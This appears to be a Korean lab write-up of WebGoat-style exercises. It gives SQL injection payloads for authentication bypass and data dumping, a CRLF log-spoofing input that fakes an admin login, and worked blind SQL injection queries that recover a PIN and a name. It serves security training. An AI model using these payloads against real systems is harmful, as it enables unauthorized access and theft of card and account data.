[Injection Flaws]
Cloumbia, Seattle, New York, Houston의 테이블을 모두 출력시키는 문제이다.
Paros로 요청을 잡은 화면
↓station부분을 수정할 것이다.
수정 : station=101 OR '1'='1'-- 입력 후 요청을 보낸다.
결과
[Log Spoofing]
(CRLF Injection)
CR : %0D(엔터값) , LF : %0A //로 인코딩된다.
CRLF (%0D%0A)
로그파일에 스크립트를 추가하여 admin으로 로그인이 성공한 것처럼 하라
방법[윈도우 기반] : smith %0D%0ALogin Succeeded for username : admin
방법[리눅스 기반] : smith %0ALogin Succeeded for username : admin
결과
[String SQL Injection]
폼의 내용은 사용자에게 신용카드 번호를 보여주는 폼이며, SQL 인젝션을 시도하여 모든 카드번호를 볼 수 있도록 해라. 단 유저이름은 Smith로 실행한다.
입력 : Smith' or '1'='1
그외 Smith’ or ‘1’=’1’-- , Smith’ or 1=1-- ,,,,등
결과
[LAB: SQL Injection
stage 1. String SQL Injection]
*bypass authentication //bypass:우회, authentication:인증 == 인증우회
Boss인 Nevile로 로그인 후 프로필을 보는 등 기능을 사용해보아라.
과정
Nevile 선택 후 paros로 잡아서 변경한다.
입력 : password=[anything]’ or 1=1--
*String SQL Injection(Stage 1)
1’ or ‘1’ = ‘1
1%27+or%271%27=%271
1’ or 1=1--
1’ or ‘1’=’1’--
결과
[LAB : SQL Injection
Stage 3. Numeric SQL Injection]
Larry로 로그인 후 Boss인 Neville의 프로필을 확인하라
과정
1. Larry로 로그인한다. (인증우회)
Password = 1’ or ‘1’=’1
2.[View function] parameter Injection시도
입력 : 101 or 1=1 order by salary desc--
결과
[Blind Numeric SQL Injection]
위 폼은 번호를 입력하고 유효여부를 판단하는 칸이다. 1111222233334444의 cc_number를 가진 행의 테이블 핀에서 필드의 핀 값을 찾는 것이며, 필드는 int형이다.
과정
- 문자열일 경우 한 번에 한 비트씩 알아내는 방법 이용
- 101이 만약 참일경우
101 and ‘참’인 조건 → 참
101 and ‘거짓’인 조건 → 거짓
101 and select pin from pins where cc_number=1111222233334444>10000 : 거짓
101 and select pin from pins where cc_number=1111222233334444>5000 : 거짓
101 and select pin from pins where cc_number=1111222233334444>2500 : 거짓
101 and select pin from pins where cc_number=1111222233334444>2000 : 참
→ 101 and select pin from pins where cc_number=1111222233334444=2364 : 답
결과
[Blind String SQL Inejection]
위 폼은 번호를 입력하고 유효여부를 판단하는 칸이다.
아스키코드 값 참고 : ‘A’=65, ‘Z’=90, ‘a’=97, ‘z’=122
cc_number가 1111222233334444인 행의 테이블 핀에서 필드의 핀 이름 값을 찾는 것이며, 필드는 varchar형이다.
아스키코드
과정
101 and 참 → valid 101 and 거짓 → invalid
select name from pins where cc_number=4321432143214321
ex) Smith
substr(“Smith”, 1, 1)
ascii(substr((Select name from pins where cc_number=4321432143214321), 1, 1))>75
ㄴ비교를 통해 숫자의 범위를 알아내고, 번호로 아스키코드를 참고하여 문자를 조합한다.
-> Invalid ascii(substr((Select name from pins where cc_number=4321432143214321), 1, 1))>65 -> Valid ascii(substr((Select name from pins where cc_number=4321432143214321), 1, 1))>70 -> Valid 71-75까지로 범위가 정해짐 ascii(substr((Select name from pins where cc_number=4321432143214321), 1, 1))=74 -> J 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 2, 1))>75 -> Valid 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 2, 1))>100 -> Valid 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 2, 1))>110 -> Invalid 101-105사이로 범위 정해짐 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 2, 1))=105 -> i 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 3, 1))>100 -> Valid 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 3, 1))>110 -> Valid 106-110사이 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 3, 1))=108 -> l 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 3, 1))>100 -> Valid 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 4, 1))>110 -> Valid 100-110사이 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 4, 1))=108 -> l 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 5, 1))>100 -> Invalid 101 and ascii(substr((Select name from pins where cc_number=4321432143214321), 5, 1))>=65 -> Invalid ->없는 글자 ==> Jill |
결과
1. HSQLDB : substr(대상, 위치, 개수); //문자(열) 추출
ascii(‘a’) //ASCII코드로 전환
substr(“test of asp”, 1, 1); //글자를 잘라내는 역할
ㄴtest of asp문자중에서 / 1번째의 문자를 / 1글자씩 자른다.
ex) [anything] and ascii(substr((Select name from pins where cc_number=4321432143214321), 1, 1))>75